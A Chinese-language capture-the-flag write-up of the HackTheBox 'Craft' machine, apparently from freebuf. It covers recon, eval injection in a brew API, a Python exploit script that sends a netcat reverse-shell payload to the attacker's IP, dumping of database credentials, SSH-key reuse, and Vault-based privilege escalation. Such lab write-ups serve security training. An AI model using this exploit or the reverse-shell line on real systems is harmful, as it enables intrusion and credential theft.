HackTheBox –Craft实战 – 作者:umbrella1CE

HackTheBox –Craft

ip:http://10.10.10.110/


信息搜集

端口扫描:使用nmap扫描发现开了22(ssh)端口和443(http/ssl)
image
版本可从web网页上获取:
Web 服务器
Nginx1.15.8
Reverse Proxy
Nginx1.15.8

首先访问页面,访问该链接http://10.10.10.110/看到是一片空白,试了一下使用https来进行访问,访问成功!
image
访问页面查看右上角的图标发现他有域名,所以使用hosts文件来进行绑定:
image

从上面图片发现他跟我们说查看我们的API! 这里先进行查看https://api.craft.htb/api/
image
在这块发现一个登陆页面
image

返回刚刚首页,点击右上角图标时他会跳转到https://gogs.craft.htb/这个页面,经过多次查看发现点击左上角的发现会跳转到一个仓库仔细看的话是api源码

image

进行下载,代码分析一下
image
果然,在test.py文件中,我们知道api页面需要首先进行auth/login(用户名密码未知),然后才能使用brew接口。没找到什么敏感信息,之后就来审计一下接口文件,经过找了好长时间终于发现brew.py中有个eval,现在知道这块有命令执行需要调用os.system
image
因为当时我是在bp里面拦截https://api.craft.htb/api/提交参数的方式进行利用的 中途因为没有token的凭证绕了好长时间 最后是在上面所说的登陆页面获取的(经过多次提交发现他的token是随机的)
在这里有用户提交点开add.test之后发现用户和密码。

image
image

dinesh 账户 4aUh0A8PbVJxgd 密码
登陆成功之后发现是一串随机token

通过几种方式都不成功,终于最后写了python脚本代码如下:
#

!/usr/bin/env python

import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

IP = "10.10.16.9"
PORT = "4444"

print("[] Requesting a token")
response = requests.get("https://api.craft.htb/api/auth/login", auth=("dinesh", "4aUh0A8PbVJxgd"), verify=False)
json_response = json.loads(response.text)
token = json_response["token"]
print("[] Token: " + token)

print("[] Validatting authorization")
headers = { "X-Craft-API-Token": token, "Content-Type": "application/json" }
response = requests.get("https://api.craft.htb/api/auth/check", headers=headers, verify=False)
print("[] Response: " + response.json()["message"])

print("[*] Connecting a reverse shell at " + IP + ":" + PORT)
brew_dict = {}
brew_dict["abv"] = "import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f')" % (IP, PORT)
brew_dict["name"] = "bullshit"
brew_dict["brewer"] = "bullshit"
brew_dict["style"] = "bullshit"
json_data = json.dumps(brew_dict)
response = requests.post("https://api.craft.htb/api/brew/", headers=headers, data=json_data, verify=False)

print("[?] Did you turn on netcat listener at " + IP + ":" + PORT + "?")

imageimage

python -c 'import pty;pty.spawn("/bin/sh")'

image

成功得到shell,但是id直接是root用户,之后才发现原来是docker用户,接着我查看settings.py,有一个数据库凭据,直接修改了他的sql语句,有四个用户
image
如下:

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
gilfoyle      ZEU3N8WNM2rh4T
dinesh       4aUh0A8PbVJxgd
ebachman     llJ77D8QFkLPQB

现在继续进行信息搜集,在刚刚https://gogs.craft.htb/界面有一个登陆,输入刚刚获取到的用户和密码一个一个进行搜集发现在gilfoyle 用户里面的私人项目里有.ssh 所以当然是直接用id_rsa 进行ssh登陆,如图:
ssh -i id_rsa [email protected]

image已登录!!!!

进行提权:
用上面的方法我给他下载了脚本进行执行得出他的内核和发行版本的详细信息 用户信息 服务等信息…..
scp -i id_rsa -r /Users/ice/Downloads/LinEnum-master/LinEnum.sh [email protected]:/tmp
image
执行完之后我是在https://www.exploit-db.com/上面搜索的版本号结果不友好

在刚刚下载的项目中查看发现vault查看官方文档https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html最后终于使用vault来进行提权,会返回给我们otp 直接登录
image(vault是一种用于在现代应用程序体系结构中安全地管理机密信息的流行工具,很方便而且安全的一款工具)
image

来源:freebuf.com 2021-06-29 16:48:10 by: umbrella1CE

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论